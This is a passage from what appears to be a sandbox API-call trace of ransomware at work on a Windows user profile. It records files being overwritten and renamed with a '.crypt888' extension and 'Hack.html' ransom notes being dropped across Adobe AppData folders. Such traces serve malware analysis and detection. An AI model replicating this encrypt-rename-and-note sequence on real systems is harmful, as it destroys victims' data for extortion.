hTemplateFile=0x0) returned 0x174 [0079.220] GetFileType (hFile=0x174) returned 0x1 [0079.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb9c) returned 1 [0079.221] GetFileType (hFile=0x174) returned 0x1 [0079.221] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39eca8 | out: lpFileSizeHigh=0x39eca8*=0x0) returned 0xa [0079.221] ReadFile (in: hFile=0x174, lpBuffer=0x27b248c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec54, lpOverlapped=0x0 | out: lpBuffer=0x27b248c*, lpNumberOfBytesRead=0x39ec54*=0xa, lpOverlapped=0x0) returned 1 [0079.239] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js", nBufferLength=0x105, lpBuffer=0x39e694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js", lpFilePart=0x0) returned 0x5d [0079.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb88) returned 1 [0079.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0079.241] GetFileType (hFile=0x174) returned 0x1 [0079.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb84) returned 1 [0079.241] GetFileType (hFile=0x174) returned 0x1 [0079.241] WriteFile (in: hFile=0x174, lpBuffer=0x28004f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x39ec18, lpOverlapped=0x0 | out: lpBuffer=0x28004f0*, lpNumberOfBytesWritten=0x39ec18*=0x10, lpOverlapped=0x0) returned 1 [0079.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js", lpFilePart=0x0) returned 0x5d [0079.242] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.crypt888", lpFilePart=0x0) returned 0x66 [0079.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec2c) returned 1 [0079.242] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), fInfoLevelId=0x0, lpFileInformation=0x39eca8 | out: lpFileInformation=0x39eca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xc06dd260, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0079.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec28) returned 1 [0079.242] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js.crypt888")) returned 1 [0079.244] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\Hack.html", lpFilePart=0x0) returned 0x56 [0079.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0079.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.246] GetFileType (hFile=0x174) returned 0x1 [0079.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0079.246] GetFileType (hFile=0x174) returned 0x1 [0079.247] WriteFile (in: hFile=0x174, lpBuffer=0x2802fd0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x2802fd0*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security", lpFilePart=0x0) returned 0x49 [0079.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\", lpFilePart=0x0) returned 0x4a [0079.248] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.248] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.248] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.249] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.249] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.249] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.249] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security", lpFilePart=0x0) returned 0x49 [0079.249] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\", lpFilePart=0x0) returned 0x4a [0079.249] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.250] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.250] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.250] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.250] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.250] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.250] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache", lpFilePart=0x0) returned 0x52 [0079.250] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\", lpFilePart=0x0) returned 0x53 [0079.250] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a028 [0079.251] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.251] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.251] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.252] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.252] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0079.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0079.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.252] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache", lpFilePart=0x0) returned 0x52 [0079.252] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\", lpFilePart=0x0) returned 0x53 [0079.252] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a028 [0079.252] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.252] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.253] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.253] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.253] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0079.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0079.253] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\Hack.html", lpFilePart=0x0) returned 0x5c [0079.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0079.253] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\crlcache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.255] GetFileType (hFile=0x174) returned 0x1 [0079.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0079.255] GetFileType (hFile=0x174) returned 0x1 [0079.255] WriteFile (in: hFile=0x174, lpBuffer=0x280a08c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x280a08c*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.256] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\Hack.html", lpFilePart=0x0) returned 0x53 [0079.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0079.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\security\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.256] GetFileType (hFile=0x174) returned 0x1 [0079.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0079.256] GetFileType (hFile=0x174) returned 0x1 [0079.256] WriteFile (in: hFile=0x174, lpBuffer=0x280c8dc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x280c8dc*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.257] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Hack.html", lpFilePart=0x0) returned 0x4a [0079.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0079.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.259] GetFileType (hFile=0x174) returned 0x1 [0079.259] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0079.259] GetFileType (hFile=0x174) returned 0x1 [0079.259] WriteFile (in: hFile=0x174, lpBuffer=0x280f10c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x280f10c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.260] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\Hack.html", lpFilePart=0x0) returned 0x45 [0079.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.260] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.260] GetFileType (hFile=0x174) returned 0x1 [0079.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.261] GetFileType (hFile=0x174) returned 0x1 [0079.261] WriteFile (in: hFile=0x174, lpBuffer=0x2811924*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2811924*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x40 [0079.262] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\", lpFilePart=0x0) returned 0x41 [0079.262] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.263] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.263] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.263] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.263] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0079.263] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player", lpFilePart=0x0) returned 0x40 [0079.263] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\", lpFilePart=0x0) returned 0x41 [0079.263] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a028 [0079.264] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.264] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0079.264] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0079.264] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0079.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0079.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x4b [0079.265] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpFilePart=0x0) returned 0x4c [0079.265] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.265] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.265] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.265] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.265] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0079.266] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpFilePart=0x0) returned 0x4b [0079.266] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpFilePart=0x0) returned 0x4c [0079.266] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a028 [0079.266] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.266] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0079.266] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0079.266] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0079.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0079.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R", lpFilePart=0x0) returned 0x54 [0079.267] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\", lpFilePart=0x0) returned 0x55 [0079.267] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.268] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.268] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.268] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) 